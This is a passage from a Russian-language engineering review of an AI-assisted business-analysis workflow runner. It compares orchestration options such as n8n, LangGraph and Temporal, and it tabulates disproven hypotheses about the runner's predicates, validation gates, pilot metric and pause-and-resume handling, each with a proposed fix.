\u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n71\\t  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n72\\t  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n73\\t  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n74\\t  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n75\\t  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n76\\t  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n77\\t\\n78\\t### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n79\\t\\n80\\t\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n81\\t\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n82\\t\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n83\\t\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n84\\t\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n85\\t\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n86\\t\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n87\\t\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n88\\t\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n89\\t\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n90\\t\\n91\\t| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n92\\t|---|---------|----|----|----|----|----|----|----|----|------|\\n93\\t| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n94\\t| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n95\\t| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n96\\t| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n97\\t| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n98\\t| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n99\\t| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n100\\t| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n101\\t| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n102\\t| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n103\\t| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n104\\t\\n105\\t\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n106\\t[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n107\\t[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n108\\t\\n109\\t## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n110\\t\\n111\\t\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n112\\t[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n113\\t`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n114\\t[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n115\\t`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n116\\t[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n117\\t\\n118\\t### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n119\\t\\n120\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n121\\t|---|----------|----------------|--------|-------------|--------------|\\n122\\t| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n123\\t| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n124\\t| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n125\\t| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n126\\t| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L69) \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0448\u0430\u0433\u0438 \u0441\u043e `script_invoked`, \u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 ([\u0413-29](#\u0433-29)). \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 ADR-018 \u00ab\u043c\u0435\u043d\u044c\u0448\u0435 95% \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\u00bb ([L55](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L55)) \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a\u0443.** \u0421\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0448\u0430\u0433\u0438, \u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430 \u043f\u043e \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 |\\n127\\t| \u0413-31 | \u041f\u0440\u043e\u0433\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c (`EP-R8`) | `halt` \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ([`run-task.py` L30](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L30)); `advance` \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043d\u0435 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `active` ([L199-L200](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L199-L200)); \u0440\u0435\u0431\u0440\u043e n7 \u2192 halt \u043f\u0440\u0438 `answers.count == 0` ([\u043c\u0430\u0440\u0448\u0440\u0443\u0442 L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0441 \u043d\u043e\u0432\u044b\u043c 